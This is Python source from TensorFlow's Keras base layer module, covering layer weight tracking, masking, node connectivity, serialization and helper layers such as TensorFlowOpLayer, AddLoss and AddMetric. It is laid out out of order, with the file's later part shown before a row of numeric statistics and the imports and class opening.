with backend.name_scope(name + '/Regularizer'):
regularization = regularizer(v)
return regularization
if isinstance(variable, tf_variables.PartitionedVariable):
for v in variable:
self.add_loss(functools.partial(_loss_for_variable, v))
else:
self.add_loss(functools.partial(_loss_for_variable, variable))
def _handle_activity_regularization(self, inputs, outputs):
# Apply activity regularization.
# Note that it should be applied every time the layer creates a new
# output, since it is output-specific.
if self._activity_regularizer:
output_list = nest.flatten(outputs)
with backend.name_scope('ActivityRegularizer'):
for output in output_list:
activity_loss = self._activity_regularizer(output)
batch_size = math_ops.cast(
array_ops.shape(output)[0], activity_loss.dtype)
# Make activity regularization strength batch-agnostic.
mean_activity_loss = activity_loss / batch_size
base_layer_utils.check_graph_consistency(
mean_activity_loss, method='activity_regularizer')
self.add_loss(mean_activity_loss, inputs=inputs)
def _set_mask_metadata(self, inputs, outputs, previous_mask):
flat_outputs = nest.flatten(outputs)
mask_already_computed = (
getattr(self, '_compute_output_and_mask_jointly', False) or
all(getattr(x, '_keras_mask', None) is not None for x in flat_outputs))
# Only compute the mask if the Layer explicitly supports masking or has
# overridden `compute_mask`.
should_compute_mask = (
hasattr(self, 'compute_mask') and
(self.supports_masking or
not getattr(self.compute_mask, '_is_default', False)))
if mask_already_computed:
flat_masks = [getattr(x, '_keras_mask', None) for x in flat_outputs]
elif not should_compute_mask:
flat_masks = [None for _ in flat_outputs]
else:
output_masks = self.compute_mask(inputs, previous_mask)
# `compute_mask` can return a single `None` even when a Layer
# has multiple outputs.
if output_masks is None:
flat_masks = [None for _ in flat_outputs]
else:
flat_masks = nest.flatten(output_masks)
for output, mask in zip(flat_outputs, flat_masks):
try:
output._keras_mask = mask
except AttributeError:
# C Type such as np.ndarray.
pass
if tf_utils.are_all_symbolic_tensors(flat_outputs):
for output in flat_outputs:
if getattr(output, '_keras_mask', None) is not None:
# Do not track masks for `TensorFlowOpLayer` construction.
output._keras_mask._keras_history_checked = True
def _collect_input_masks(self, inputs, args, kwargs):
"""Checks if `mask` argument was passed, else gathers mask from inputs."""
if self._call_arg_was_passed('mask', args, kwargs):
return self._get_call_arg_value('mask', args, kwargs)
if not self._should_compute_mask:
return None
input_masks = nest.map_structure(lambda t: getattr(t, '_keras_mask', None),
inputs)
if generic_utils.is_all_none(input_masks):
return None
return input_masks
def _call_arg_was_passed(self, arg_name, args, kwargs, inputs_in_args=False):
if arg_name in kwargs:
return True
call_fn_args = self._call_fn_args
if not inputs_in_args:
# Ignore `inputs` arg.
call_fn_args = call_fn_args[1:]
if arg_name in dict(zip(call_fn_args, args)):
return True
return False
def _get_call_arg_value(self, arg_name, args, kwargs, inputs_in_args=False):
if arg_name in kwargs:
return kwargs[arg_name]
call_fn_args = self._call_fn_args
if not inputs_in_args:
# Ignore `inputs` arg.
call_fn_args = call_fn_args[1:]
args_dict = dict(zip(call_fn_args, args))
return args_dict[arg_name]
def _set_connectivity_metadata_(self, inputs, outputs, args, kwargs):
# If the layer returns tensors from its inputs, unmodified,
# we copy them to avoid loss of tensor metadata.
output_ls = nest.flatten(outputs)
inputs_ls = object_identity.ObjectIdentitySet(nest.flatten(inputs))
output_ls_copy = []
for x in output_ls:
if x in inputs_ls:
with backend.name_scope(self.name):
x = array_ops.identity(x)
output_ls_copy.append(x)
outputs = nest.pack_sequence_as(outputs, output_ls_copy)
# Ignore `inputs` arg.
arguments = dict(zip(self._call_fn_args[1:], args))
arguments.update(kwargs)
# Add an inbound node to the layer, so it can keep track of this call.
# This updates the layer history of the output tensor(s).
self._add_inbound_node(
input_tensors=inputs, output_tensors=outputs, arguments=arguments)
return inputs, outputs
def _add_inbound_node(self,
input_tensors,
output_tensors,
arguments=None):
"""Internal method to create an inbound node for the layer.
Arguments:
input_tensors: list of input tensors.
output_tensors: list of output tensors.
arguments: dictionary of keyword arguments that were passed to the
`call` method of the layer at the call that created the node.
"""
inbound_layers = nest.map_structure(lambda t: t._keras_history.layer,
input_tensors)
node_indices = nest.map_structure(lambda t: t._keras_history.node_index,
input_tensors)
tensor_indices = nest.map_structure(lambda t: t._keras_history.tensor_index,
input_tensors)
# Create node, add it to inbound nodes.
node_module.Node(
self,
inbound_layers=inbound_layers,
node_indices=node_indices,
tensor_indices=tensor_indices,
input_tensors=input_tensors,
output_tensors=output_tensors,
arguments=arguments)
# Update tensor history metadata.
# The metadata attribute consists of
# 1) a layer instance
# 2) a node index for the layer
# 3) a tensor index for the node.
# The allows layer reuse (multiple nodes per layer) and multi-output
# or multi-input layers (e.g. a layer can return multiple tensors,
# and each can be sent to a different layer).
for i, tensor in enumerate(nest.flatten(output_tensors)):
tensor._keras_history = KerasHistory(self,
len(self._inbound_nodes) - 1, i) # pylint: disable=protected-access
def _get_node_attribute_at_index(self, node_index, attr, attr_name):
"""Private utility to retrieves an attribute (e.g. inputs) from a node.
This is used to implement the methods:
- get_input_shape_at
- get_output_shape_at
- get_input_at
etc...
Arguments:
node_index: Integer index of the node from which
to retrieve the attribute.
attr: Exact node attribute name.
attr_name: Human-readable attribute name, for error messages.
Returns:
The layer's attribute `attr` at the node of index `node_index`.
Raises:
RuntimeError: If the layer has no inbound nodes, or if called in Eager
mode.
ValueError: If the index provided does not match any node.
"""
if not self._inbound_nodes:
raise RuntimeError('The layer has never been called '
'and thus has no defined ' + attr_name + '.')
if not len(self._inbound_nodes) > node_index:
raise ValueError('Asked to get ' + attr_name + ' at node ' +
str(node_index) + ', but the layer has only ' +
str(len(self._inbound_nodes)) + ' inbound nodes.')
values = getattr(self._inbound_nodes[node_index], attr)
if isinstance(values, list) and len(values) == 1:
return values[0]
else:
return values
def _maybe_build(self, inputs):
# Check input assumptions set before layer building, e.g. input rank.
if not self.built:
input_spec.assert_input_compatibility(
self.input_spec, inputs, self.name)
input_list = nest.flatten(inputs)
if input_list and self._dtype_policy.compute_dtype is None:
try:
dtype = input_list[0].dtype.base_dtype.name
except AttributeError:
pass
else:
self._dtype_policy = policy.Policy(dtype)
input_shapes = None
if all(hasattr(x, 'shape') for x in input_list):
input_shapes = nest.map_structure(lambda x: x.shape, inputs)
# Only call `build` if the user has manually overridden the build method.
if not hasattr(self.build, '_is_default'):
# Any setup work performed only once should happen in an `init_scope`
# to avoid creating symbolic Tensors that will later pollute any eager
# operations.
with tf_utils.maybe_init_scope(self):
self.build(input_shapes)
# We must set self.built since user defined build functions are not
# constrained to set self.built.
self.built = True
# Optionally load weight values specified at layer instantiation.
if getattr(self, '_initial_weights', None) is not None:
self.set_weights(self._initial_weights)
self._initial_weights = None
def _symbolic_call(self, inputs):
input_shapes = nest.map_structure(lambda x: x.shape, inputs)
output_shapes = self.compute_output_shape(input_shapes)
def _make_placeholder_like(shape):
ph = backend.placeholder(shape=shape, dtype=self.dtype)
ph._keras_mask = None
return ph
return nest.map_structure(_make_placeholder_like, output_shapes)
def _get_trainable_state(self):
"""Get the `trainable` state of each sublayer.
Returns:
A dict mapping all sublayers to their `trainable` value.
"""
layers = trackable_layer_utils.filter_empty_layer_containers(self._layers)
# Keep track of each top-level layers' `trainable` as well as the
# state of all of its sublayers.
trainable_state = {self: self.trainable}
for layer in layers:
trainable_state.update(layer._get_trainable_state())
return trainable_state
def _set_trainable_state(self, trainable_state):
"""Set `trainable` state for each sublayer."""
layers = trackable_layer_utils.filter_empty_layer_containers(self._layers)
if self in trainable_state:
self.trainable = trainable_state[self]
for layer in layers:
layer._set_trainable_state(trainable_state)
@property
def _obj_reference_counts(self):
"""A dictionary counting the number of attributes referencing an object."""
self._maybe_create_attribute('_obj_reference_counts_dict',
object_identity.ObjectIdentityDictionary())
return self._obj_reference_counts_dict
@trackable.no_automatic_dependency_tracking
def _maybe_create_attribute(self, name, default_value):
"""Create the attribute with the default value if it hasn't been created.
This is useful for fields that is used for tracking purpose,
_trainable_weights, or _layers. Note that user could create a layer subclass
and assign an internal field before invoking the Layer.__init__(), the
__setattr__() need to create the tracking fields and __init__() need to not
override them.
Args:
name: String, the name of the attribute.
default_value: Object, the default value of the attribute.
"""
if not hasattr(self, name):
super(Layer, self).__setattr__(name, default_value)
def __delattr__(self, name):
# For any super.__delattr__() call, we will directly use the implementation
# in Trackable and skip the behavior in AutoTrackable. The Layer was
# originally use Trackable as base class, the change of using Module as base
# class forced us to have AutoTrackable in the class hierarchy. Skipping
# the __delattr__ and __setattr__ in AutoTrackable will keep the status quo.
existing_value = getattr(self, name, None)
# If this value is replacing an existing object assigned to an attribute, we
# should clean it out to avoid leaking memory. First we check if there are
# other attributes referencing it.
reference_counts = self._obj_reference_counts
if existing_value not in reference_counts:
super(tracking.AutoTrackable, self).__delattr__(name)
return
reference_count = reference_counts[existing_value]
if reference_count > 1:
# There are other remaining references. We can't remove this object from
# _layers etc.
reference_counts[existing_value] = reference_count - 1
super(tracking.AutoTrackable, self).__delattr__(name)
return
else:
# This is the last remaining reference.
del reference_counts[existing_value]
super(tracking.AutoTrackable, self).__delattr__(name)
if (isinstance(existing_value, Layer)
or trackable_layer_utils.has_weights(existing_value)):
super(tracking.AutoTrackable, self).__setattr__(
'_layers',
[l for l in self._layers if l is not existing_value])
self._attribute_sentinel.invalidate_all()
if isinstance(existing_value, tf_variables.Variable):
super(tracking.AutoTrackable, self).__setattr__(
'_trainable_weights',
[w for w in self._trainable_weights if w is not existing_value])
super(tracking.AutoTrackable, self).__setattr__(
'_non_trainable_weights',
[w for w in self._non_trainable_weights if w is not existing_value])
# Any time we change `_layers` (either by deleting the attribute or by
# reassigning it which will call __delattr__ from __setattr__) the topology
# of the subgraph of Layers may change. In that case we will need to
# recompute any attribute which depends on that subgraph.
if name == '_layers':
self._attribute_sentinel.invalidate_all()
def __setattr__(self, name, value):
if (name == '_self_setattr_tracking' or
not getattr(self, '_self_setattr_tracking', True) or
# Exclude @property.setters from tracking
hasattr(self.__class__, name)):
try:
super(tracking.AutoTrackable, self).__setattr__(name, value)
except AttributeError:
raise AttributeError(
('Can\'t set the attribute "{}", likely because it conflicts with '
'an existing read-only @property of the object. Please choose a '
'different name.').format(name))
return
# Keep track of trackable objects, for the needs of `Network.save_weights`.
value = data_structures.sticky_attribute_assignment(
trackable=self, value=value, name=name)
reference_counts = self._obj_reference_counts
reference_counts[value] = reference_counts.get(value, 0) + 1
# Clean out the old attribute, which clears _layers and _trainable_weights
# if necessary.
try:
self.__delattr__(name)
except AttributeError:
pass
# TODO(scottzhu): Need to track Module object as well for weight tracking.
# Be careful about metric if it becomes a Module in future.
# Append value to self._layers if relevant
# Sequential models use a separate layer tracking mechanism, so skip the
# logic defined here for tracking layers.
if (self.__class__.__name__ != 'Sequential' and
(isinstance(value, Layer) or trackable_layer_utils.has_weights(value))):
self._maybe_create_attribute('_layers', [])
# We need to check object identity to avoid de-duplicating empty
# container types which compare equal.
if not any((layer is value for layer in self._layers)):
self._layers.append(value)
if hasattr(value, '_attribute_sentinel'):
value._attribute_sentinel.add_parent(self._attribute_sentinel)
if hasattr(value, '_use_resource_variables'):
# Legacy layers (V1 tf.layers) must always use
# resource variables.
value._use_resource_variables = True
# Append value to list of trainable / non-trainable weights if relevant
# TODO(b/125122625): This won't pick up on any variables added to a
# list/dict after creation.
for val in nest.flatten(value):
# TODO(b/126450014): Remove `_UnreadVariable` check here when assign ops
# no longer return True for isinstance Variable checks.
if not isinstance(val, tf_variables.Variable):
continue
if isinstance(val, resource_variable_ops._UnreadVariable): # pylint: disable=protected-access
continue
# Users may add extra weights/variables
# simply by assigning them to attributes (invalid for graph networks)
self._maybe_create_attribute('_trainable_weights', [])
self._maybe_create_attribute('_non_trainable_weights', [])
if val.trainable:
if any(val is w for w in self._trainable_weights):
continue
self._trainable_weights.append(val)
else:
if any(val is w for w in self._non_trainable_weights):
continue
self._non_trainable_weights.append(val)
backend.track_variable(val)
# Skip the auto trackable from tf.Module to keep status quo. See the comment
# at __delattr__.
super(tracking.AutoTrackable, self).__setattr__(name, value)
def _gather_children_attribute(self, attribute):
assert attribute in {
'weights', 'trainable_weights', 'non_trainable_weights'
}
if hasattr(self, '_layers'):
nested_layers = trackable_layer_utils.filter_empty_layer_containers(
self._layers)
return list(
itertools.chain.from_iterable(
getattr(layer, attribute) for layer in nested_layers))
return []
def _gather_unique_layers(self):
"""Returns the current layer and all its children depth first deduped.
We are deduping after getting the layers to maintain the order.
"""
all_layers = self._gather_layers()
unique_layers, seen_layers = [], object_identity.ObjectIdentitySet()
for layer in all_layers:
if layer not in seen_layers:
unique_layers.append(layer)
# Track the Variable's identity to avoid __eq__ issues.
seen_layers.add(layer)
return unique_layers
def _gather_layers(self):
"""Returns the current layer and all its children depth first."""
all_layers = [self]
if hasattr(self, '_layers'):
child_layers = trackable_layer_utils.filter_empty_layer_containers(
self._layers)
for child_layer in child_layers:
all_layers.extend(child_layer._gather_layers())
return all_layers
@property
@tracking.cached_per_instance
def _attribute_sentinel(self):
return trackable_layer_utils.AttributeSentinel()
# This is a hack so that the is_layer (within
# training/trackable/layer_utils.py) check doesn't get the weights attr.
# TODO(b/110718070): Remove when fixed.
def _is_layer(self):
return True
def _init_call_fn_args(self):
# Clear cached call function arguments.
self.__class__._call_full_argspec.fget.cache.pop(self, None)
self.__class__._call_fn_args.fget.cache.pop(self, None)
self.__class__._call_accepts_kwargs.fget.cache.pop(self, None)
call_fn_args = self._call_fn_args
self._expects_training_arg = ('training' in call_fn_args or
self._call_accepts_kwargs)
self._expects_mask_arg = ('mask' in call_fn_args or
self._call_accepts_kwargs)
@property
@tracking.cached_per_instance
def _call_full_argspec(self):
# Argspec inspection is expensive and the call spec is used often, so it
# makes sense to cache the result.
return tf_inspect.getfullargspec(self.call)
@property
@tracking.cached_per_instance
def _call_fn_args(self):
all_args = self._call_full_argspec.args
# Scrub `self` that appears if a decorator was applied.
if all_args and all_args[0] == 'self':
return all_args[1:]
return all_args
@property
@tracking.cached_per_instance
def _call_accepts_kwargs(self):
return self._call_full_argspec.varkw is not None
@property
@tracking.cached_per_instance
def _should_compute_mask(self):
return ('mask' in self._call_fn_args or
getattr(self, 'compute_mask', None) is not None)
@property
def _eager_losses(self):
# A list of loss values containing activity regularizers and losses
# manually added through `add_loss` during eager execution. It is cleared
# after every batch.
# Because we plan on eventually allowing a same model instance to be trained
# in eager mode or graph mode alternatively, we need to keep track of
# eager losses and symbolic losses via separate attributes.
if not hasattr(self._thread_local, '_eager_losses'):
self._thread_local._eager_losses = []
return self._thread_local._eager_losses
@_eager_losses.setter
def _eager_losses(self, losses):
self._thread_local._eager_losses = losses
def _dedup_weights(self, weights):
"""Dedupe weights while maintaining order as much as possible."""
output, seen_weights = [], object_identity.ObjectIdentitySet()
for w in weights:
if w not in seen_weights:
output.append(w)
# Track the Variable's identity to avoid __eq__ issues.
seen_weights.add(w)
return output
# SavedModel properties. Please see keras/saving/saved_model for details.
@property
def _trackable_saved_model_saver(self):
return layer_serialization.LayerSavedModelSaver(self)
@property
def _object_identifier(self):
return self._trackable_saved_model_saver.object_identifier
@property
def _tracking_metadata(self):
return self._trackable_saved_model_saver.tracking_metadata
def _list_extra_dependencies_for_serialization(self, serialization_cache):
return (self._trackable_saved_model_saver
.list_extra_dependencies_for_serialization(serialization_cache))
def _list_functions_for_serialization(self, serialization_cache):
return (self._trackable_saved_model_saver
.list_functions_for_serialization(serialization_cache))
def __getstate__(self):
# Override to support `copy.deepcopy` and pickling.
# Thread-local objects cannot be copied in Python 3, so pop these.
# Thread-local objects are used to cache losses in MirroredStrategy, and
# so shouldn't be copied.
state = self.__dict__.copy()
state.pop('_thread_local', None)
return state
def __setstate__(self, state):
state['_thread_local'] = threading.local()
# Bypass Trackable logic as `__dict__` already contains this info.
object.__setattr__(self, '__dict__', state)
class TensorFlowOpLayer(Layer):
"""Wraps a TensorFlow Operation in a Layer.
This class is used internally by the Functional API. When a user
uses a raw TensorFlow Operation on symbolic tensors originating
from an `Input` Layer, the resultant operation will be wrapped
with this Layer object in order to make the operation compatible
with the Keras API.
This Layer will create a new, identical operation (except for inputs
and outputs) every time it is called. If `run_eagerly` is `True`,
the op creation and calculation will happen inside an Eager function.
Instances of this Layer are created when `autolambda` is called, which
is whenever a Layer's `__call__` encounters symbolic inputs that do
not have Keras metadata, or when a Network's `__init__` encounters
outputs that do not have Keras metadata.
Attributes:
node_def: String, the serialized NodeDef of the Op this layer will wrap.
name: String, the name of the Layer.
constants: Dict of NumPy arrays, the values of any Tensors needed for this
Operation that do not originate from a Keras `Input` Layer. Since all
placeholders must come from Keras `Input` Layers, these Tensors must be
treated as constant in the Functional API.
trainable: Bool, whether this Layer is trainable. Currently Variables are
not supported, and so this parameter has no effect.
dtype: The default dtype of this Layer. Inherited from `Layer` and has no
effect on this class, however is used in `get_config`.
"""
def __init__(self,
node_def,
name,
constants=None,
trainable=True,
dtype=None):
# Pass autocast=False, as if inputs are cast, input types might not match
# Operation type.
super(TensorFlowOpLayer, self).__init__(
name=_TF_OP_LAYER_NAME_PREFIX + name, trainable=trainable, dtype=dtype,
autocast=False)
_keras_layers_gauge.get_cell('TensorflowOpLayer').set(True)
if isinstance(node_def, dict):
self.node_def = json_format.ParseDict(node_def, node_def_pb2.NodeDef())
else:
if not isinstance(node_def, bytes):
node_def = node_def.encode('utf-8')
self.node_def = node_def_pb2.NodeDef.FromString(node_def)
# JSON serialization stringifies keys which are integer input indices.
self.constants = ({
int(index): constant for index, constant in constants.items()
} if constants is not None else {})
# Layer uses original op unless it is called on new inputs.
# This means `built` is not set in `__call__`.
self.built = True
def call(self, inputs):
if context.executing_eagerly():
return self._defun_call(inputs)
return self._make_op(inputs)
def _make_node_def(self, graph):
node_def = node_def_pb2.NodeDef()
node_def.CopyFrom(self.node_def)
# Used in TPUReplicateContext to indicate whether this node has been cloned
# and to not add TPU attributes.
node_def.attr['_cloned'].b = True
node_def.name = graph.unique_name(node_def.name)
return node_def
def _make_op(self, inputs):
inputs = nest.flatten(inputs)
graph = inputs[0].graph
node_def = self._make_node_def(graph)
with graph.as_default():
for index, constant in self.constants.items():
# Recreate constant in graph to add distribution context.
value = tensor_util.constant_value(constant)
if value is not None:
constant = constant_op.constant(value, name=node_def.input[index])
inputs.insert(index, constant)
c_op = ops._create_c_op(graph, node_def, inputs, control_inputs=[])
op = graph._create_op_from_tf_operation(c_op)
op._control_flow_post_processing()
# Record the gradient because custom-made ops don't go through the
# code-gen'd eager call path
op_type = compat.as_str(op.op_def.name)
attr_names = [compat.as_str(attr.name) for attr in op.op_def.attr]
attrs = []
for attr_name in attr_names:
attrs.append(attr_name)
attrs.append(op.get_attr(attr_name))
attrs = tuple(attrs)
execute.record_gradient(op_type, op.inputs, attrs, op.outputs)
if len(op.outputs) == 1:
return op.outputs[0]
return op.outputs
@function.defun
def _defun_call(self, inputs):
"""Wraps the op creation method in an Eager function for `run_eagerly`."""
return self._make_op(inputs)
def get_config(self):
config = super(TensorFlowOpLayer, self).get_config()
config.update({
# `__init__` prefixes the name. Revert to the constructor argument.
'name': config['name'][len(_TF_OP_LAYER_NAME_PREFIX):],
'node_def': json_format.MessageToDict(self.node_def),
'constants': {
i: backend.get_value(c) for i, c in self.constants.items()
}
})
return config
class AddLoss(Layer):
"""Adds its inputs as a loss.
Attributes:
unconditional: Whether or not the loss should be conditioned on the inputs.
"""
def __init__(self, unconditional, **kwargs):
# Pass autocast=False, as there is no reason to cast loss to a different
# dtype.
kwargs['autocast'] = False
super(AddLoss, self).__init__(**kwargs)
self.unconditional = unconditional
def call(self, inputs):
self.add_loss(inputs, inputs=(not self.unconditional))
return inputs
def get_config(self):
config = super(AddLoss, self).get_config()
config.update({'unconditional': self.unconditional})
return config
class AddMetric(Layer):
"""Adds its inputs as a metric.
Attributes:
aggregation: 'mean' or None. How the inputs should be aggregated.
metric_name: The name to use for this metric.
"""
def __init__(self, aggregation=None, metric_name=None, **kwargs):
super(AddMetric, self).__init__(**kwargs)
self.aggregation = aggregation
self.metric_name = metric_name
def call(self, inputs):
self.add_metric(inputs, self.aggregation, self.metric_name)
return inputs
def get_config(self):
config = super(AddMetric, self).get_config()
config.update({
'aggregation': self.aggregation,
'metric_name': self.metric_name
})
return config
class KerasHistory(
collections.namedtuple('KerasHistory',
['layer', 'node_index', 'tensor_index'])):
"""Tracks the Layer call that created a Tensor, for Keras Graph Networks.
During construction of Keras Graph Networks, this metadata is added to
each Tensor produced as the output of a Layer, starting with an
`InputLayer`. This allows Keras to track how each Tensor was produced, and
this information is later retraced by the `keras.engine.Network` class to
reconstruct the Keras Graph Network.
Attributes:
layer: The Layer that produced the Tensor.
node_index: The specific call to the Layer that produced this Tensor. Layers
can be called multiple times in order to share weights. A new node is
created every time a Tensor is called.
tensor_index: The output index for this Tensor. Always zero if the Layer
that produced this Tensor only has one output. Nested structures of
Tensors are deterministically assigned an index via `nest.flatten`.
"""
# Added to maintain memory and performance characteristics of `namedtuple`
# while subclassing.
__slots__ = ()
# Avoid breaking users who directly import this symbol from this file.
# TODO(fchollet): remove this.
InputSpec = input_spec.InputSpec # pylint:disable=invalid-name
| 40.200513 | 111 | 0.680369 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import functools
import itertools
import threading
import numpy as np
from six.moves import zip
from google.protobuf import json_format
from tensorflow.core.framework import node_def_pb2
from tensorflow.python.autograph.core import ag_ctx
from tensorflow.python.autograph.impl import api as autograph
from tensorflow.python.distribute import distribution_strategy_context as ds_context
from tensorflow.python.eager import context
from tensorflow.python.eager import execute
from tensorflow.python.eager import function
from tensorflow.python.eager import monitoring
from tensorflow.python.framework import auto_control_deps
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import func_graph
from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.framework import tensor_spec
from tensorflow.python.framework import tensor_util
from tensorflow.python.keras import backend
from tensorflow.python.keras import constraints
from tensorflow.python.keras import initializers
from tensorflow.python.keras import regularizers
from tensorflow.python.keras.engine import base_layer_utils
from tensorflow.python.keras.engine import input_spec
from tensorflow.python.keras.engine import node as node_module
from tensorflow.python.keras.mixed_precision.experimental import autocast_variable
from tensorflow.python.keras.mixed_precision.experimental import policy
from tensorflow.python.keras.saving.saved_model import layer_serialization
from tensorflow.python.keras.utils import generic_utils
from tensorflow.python.keras.utils import layer_utils
from tensorflow.python.keras.utils import tf_utils
from tensorflow.python.keras.utils.generic_utils import to_snake_case
from tensorflow.python.keras.utils.tf_utils import is_tensor_or_tensor_list
from tensorflow.python.module import module
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import resource_variable_ops
from tensorflow.python.ops import variables as tf_variables
from tensorflow.python.ops.ragged import ragged_tensor
from tensorflow.python.platform import tf_logging
from tensorflow.python.training.tracking import base as trackable
from tensorflow.python.training.tracking import data_structures
from tensorflow.python.training.tracking import layer_utils as trackable_layer_utils
from tensorflow.python.training.tracking import tracking
from tensorflow.python.util import compat
from tensorflow.python.util import deprecation
from tensorflow.python.util import nest
from tensorflow.python.util import object_identity
from tensorflow.python.util import tf_inspect
from tensorflow.python.util.tf_export import keras_export
from tensorflow.tools.docs import doc_controls
_TF_OP_LAYER_NAME_PREFIX = 'tf_op_layer_'
_keras_layers_gauge = monitoring.BoolGauge('/tensorflow/api/keras/layers',
'keras layers usage', 'method')
_keras_model_gauge = monitoring.BoolGauge(
'/tensorflow/api/keras/premade_models', 'premade keras model usage', 'type')
@keras_export('keras.layers.Layer')
class Layer(module.Module):
_TF_MODULE_IGNORED_PROPERTIES = frozenset(itertools.chain(
('_obj_reference_counts_dict',),
module.Module._TF_MODULE_IGNORED_PROPERTIES
))
@trackable.no_automatic_dependency_tracking
def __init__(self, trainable=True, name=None, dtype=None, dynamic=False,
**kwargs):
allowed_kwargs = {
'input_shape',
'batch_input_shape',
'batch_size',
'weights',
'activity_regularizer',
'autocast'
}
generic_utils.validate_kwargs(kwargs, allowed_kwargs)
# and whether the layer's updates are run during training.
self._trainable = trainable
self._stateful = False
self.built = False
# Provides information about which inputs are compatible with the layer.
self.input_spec = None
self.supports_masking = False
self._supports_ragged_inputs = False
self._init_set_name(name)
self._activity_regularizer = kwargs.pop('activity_regularizer', None)
self._maybe_create_attribute('_trainable_weights', [])
self._maybe_create_attribute('_non_trainable_weights', [])
self._updates = []
# Object to store all thread local layer properties.
self._thread_local = threading.local()
# A list of zero-argument lambdas which return Tensors, used for variable
# regularizers.
self._callable_losses = []
# A list of symbolic Tensors containing activity regularizers and losses
# manually added through `add_loss` in graph-building mode.
self._losses = []
# A list of metric instances corresponding to the symbolic metric tensors
# added using the `add_metric` API.
self._metrics = []
self._set_dtype_policy(dtype)
# Boolean indicating whether the layer automatically casts its inputs to the
# layer's compute_dtype.
self._autocast = kwargs.get('autocast',
base_layer_utils.v2_dtype_behavior_enabled())
self._maybe_create_attribute('_layers', [])
self._inbound_nodes = []
self._outbound_nodes = []
self._init_call_fn_args()
self._dynamic = dynamic
if 'input_shape' in kwargs or 'batch_input_shape' in kwargs:
if 'batch_input_shape' in kwargs:
batch_input_shape = tuple(kwargs['batch_input_shape'])
elif 'input_shape' in kwargs:
if 'batch_size' in kwargs:
batch_size = kwargs['batch_size']
else:
batch_size = None
batch_input_shape = (batch_size,) + tuple(kwargs['input_shape'])
self._batch_input_shape = batch_input_shape
if 'weights' in kwargs:
self._initial_weights = kwargs['weights']
else:
self._initial_weights = None
def build(self, input_shape):
self.built = True
@doc_controls.for_subclass_implementers
def call(self, inputs, **kwargs):
return inputs
@doc_controls.for_subclass_implementers
def _add_trackable(self, trackable_object, trainable):
handler = base_layer_utils.TrackableWeightHandler(trackable_object)
if trainable:
self._trainable_weights.append(handler)
else:
self._non_trainable_weights.append(handler)
return handler
@doc_controls.for_subclass_implementers
def add_weight(self,
name=None,
shape=None,
dtype=None,
initializer=None,
regularizer=None,
trainable=None,
constraint=None,
partitioner=None,
use_resource=None,
synchronization=tf_variables.VariableSynchronization.AUTO,
aggregation=tf_variables.VariableAggregation.NONE,
**kwargs):
if shape is None:
shape = ()
for kwarg in kwargs:
if kwarg not in ['getter', 'collections', 'experimental_autocast',
'caching_device']:
raise TypeError('Unknown keyword argument:', kwarg)
getter = kwargs.pop('getter', base_layer_utils.make_variable)
collections_arg = kwargs.pop('collections', None)
autocast = kwargs.pop('experimental_autocast', True)
caching_device = kwargs.pop('caching_device', None)
if dtype is None:
dtype = self.dtype or backend.floatx()
dtype = dtypes.as_dtype(dtype)
if self._dtype_policy.variable_dtype is None:
self._dtype_policy = policy.Policy(dtype.base_dtype.name)
initializer = initializers.get(initializer)
regularizer = regularizers.get(regularizer)
constraint = constraints.get(constraint)
if synchronization == tf_variables.VariableSynchronization.ON_READ:
if trainable:
raise ValueError(
'Synchronization value can be set to '
'VariableSynchronization.ON_READ only for non-trainable variables. '
'You have specified trainable=True and '
'synchronization=VariableSynchronization.ON_READ.')
else:
trainable = False
elif trainable is None:
trainable = True
if initializer is None:
if dtype.is_floating:
initializer = initializers.glorot_uniform()
elif dtype.is_integer or dtype.is_unsigned or dtype.is_bool:
initializer = initializers.zeros()
else:
raise ValueError('An initializer for variable %s of type %s is required'
' for layer %s' % (name, dtype.base_dtype, self.name))
if (autocast and self._dtype_policy.should_cast_variables and
dtype.is_floating):
old_getter = getter
def getter(*args, **kwargs):
variable = old_getter(*args, **kwargs)
return autocast_variable.create_autocast_variable(variable)
if caching_device is not None:
tf_logging.warn('`caching_device` does not work with mixed precision '
'API. Ignoring user specified `caching_device`.')
caching_device = None
variable = self._add_variable_with_custom_getter(
name=name,
shape=shape,
getter=getter,
overwrite=True,
initializer=initializer,
dtype=dtype,
constraint=constraint,
trainable=trainable,
partitioner=partitioner,
use_resource=use_resource,
collections=collections_arg,
synchronization=synchronization,
aggregation=aggregation,
caching_device=caching_device)
if regularizer is not None:
name_in_scope = variable.name[:variable.name.find(':')]
self._handle_weight_regularization(name_in_scope,
variable,
regularizer)
if isinstance(variable, tf_variables.PartitionedVariable):
for v in variable:
backend.track_variable(v)
if trainable:
self._trainable_weights.append(v)
else:
self._non_trainable_weights.append(v)
else:
backend.track_variable(variable)
if trainable:
self._trainable_weights.append(variable)
else:
self._non_trainable_weights.append(variable)
return variable
@base_layer_utils.default
def get_config(self):
all_args = tf_inspect.getfullargspec(self.__init__).args
config = {'name': self.name, 'trainable': self.trainable}
if hasattr(self, '_batch_input_shape'):
config['batch_input_shape'] = self._batch_input_shape
config['dtype'] = policy.serialize(self._dtype_policy)
if hasattr(self, 'dynamic'):
if self.dynamic:
config['dynamic'] = self.dynamic
elif 'dynamic' in all_args:
all_args.remove('dynamic')
expected_args = config.keys()
extra_args = [arg for arg in all_args if arg not in expected_args]
if len(extra_args) > 1 and hasattr(self.get_config, '_is_default'):
raise NotImplementedError('Layers with arguments in `__init__` must '
'override `get_config`.')
return config
@classmethod
def from_config(cls, config):
return cls(**config)
def compute_output_shape(self, input_shape):
if context.executing_eagerly():
self._maybe_build(input_shape)
with context.graph_mode():
graph = func_graph.FuncGraph('graph')
with graph.as_default():
input_shape = tf_utils.convert_shapes(input_shape, to_tuples=False)
inputs = nest.map_structure(
base_layer_utils.generate_placeholders_from_shape, input_shape)
try:
outputs = self(inputs, training=False)
except TypeError:
raise NotImplementedError('We could not automatically infer '
'the static shape of the layer\'s output.'
' Please implement the '
'`compute_output_shape` method on your '
'layer (%s).' % self.__class__.__name__)
return nest.map_structure(lambda t: t.shape, outputs)
raise NotImplementedError
@doc_controls.for_subclass_implementers
def compute_output_signature(self, input_signature):
def check_type_return_shape(s):
if not isinstance(s, tensor_spec.TensorSpec):
raise TypeError(
'Only TensorSpec signature types are supported, '
'but saw signature signature entry: {}.'.format(s))
return s.shape
input_shape = nest.map_structure(check_type_return_shape, input_signature)
output_shape = self.compute_output_shape(input_shape)
